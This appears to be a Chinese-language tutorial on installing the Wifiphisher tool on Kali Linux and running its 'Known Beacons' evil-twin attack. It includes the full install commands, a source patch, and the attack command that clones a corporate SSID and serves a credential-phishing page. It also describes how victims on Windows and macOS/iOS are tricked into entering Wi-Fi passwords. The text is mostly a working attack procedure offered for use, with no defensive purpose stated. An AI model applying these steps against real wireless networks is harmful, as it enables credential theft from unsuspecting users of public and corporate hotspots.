本文详细讲解如何在Kali Linux上安装Wifiphisher工具,并演示如何执行"已知信标"攻击来模拟公共Wi-Fi热点,捕获客户端凭证的完整技术流程。
安装Wifiphisher环境
在Kali Linux(截至2024年1月22日)上运行以下命令可搭建功能完整的Wifiphisher虚拟环境:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
apt-get install -y libnl-3-dev libnl-genl-3-dev libssl-dev python3-virtualenv
cd /opt/
git clone https://github.com/wifiphisher/wifiphisher.git
cd wifiphisher
virtualenv -p python3 env
source env/bin/activate
python3 -m pip install ConfigParser
git clone https://github.com/wifiphisher/roguehostapd.git
cd /opt/wifiphisher/roguehostapd
python3 setup.py install
cd /opt/wifiphisher
python3 -m pip install six
python3 -m pip install .
wifiphisher -e CORP-RETAIL -p wifi_connect -kB
deactivate # 使用完成后退出
|
关键文件修改
需修改Wifiphisher安装目录下的rfkill.py
文件,将两处文件写入模式改为二进制写入:
1
2
|
fout = open(dpath, 'wb') # 第104行
fout = open(dpath, 'wb') # 第135行
|
已知信标攻击原理
- 无线客户端行为:操作系统会自动尝试重连历史Wi-Fi网络,通过首选网络列表(PNL)广播SSID
- KARMA攻击变种:
- 传统KARMA:直接响应客户端广播的PNL列表
- Wifiphisher的
-kB
模式:顺序广播常见SSID列表(可自定义)
- 攻击效果:当客户端检测到"已知"SSID时可能自动连接
攻击执行示例
1
|
wifiphisher -e CORP-RETAIL -p wifi_connect -kB
|
该命令会:
- 克隆目标SSID(CORP-RETAIL)
- 加载
wifi_connect
钓鱼模块
- 同时广播常见公共热点SSID(如"SFO FREE WIFI")
攻击过程观察
-
操作台视图:
- 显示伪造的SSID和连接客户端
- 捕获Windows客户端的自动请求(如windowsupdate.com)
- 实时显示钓鱼页面提交的凭证
-
客户端视角:
- Windows:出现JavaScript模态对话框要求输入Wi-Fi密码
- MacOS/iOS:自动跳转用户代理适配的钓鱼门户页面
技术参考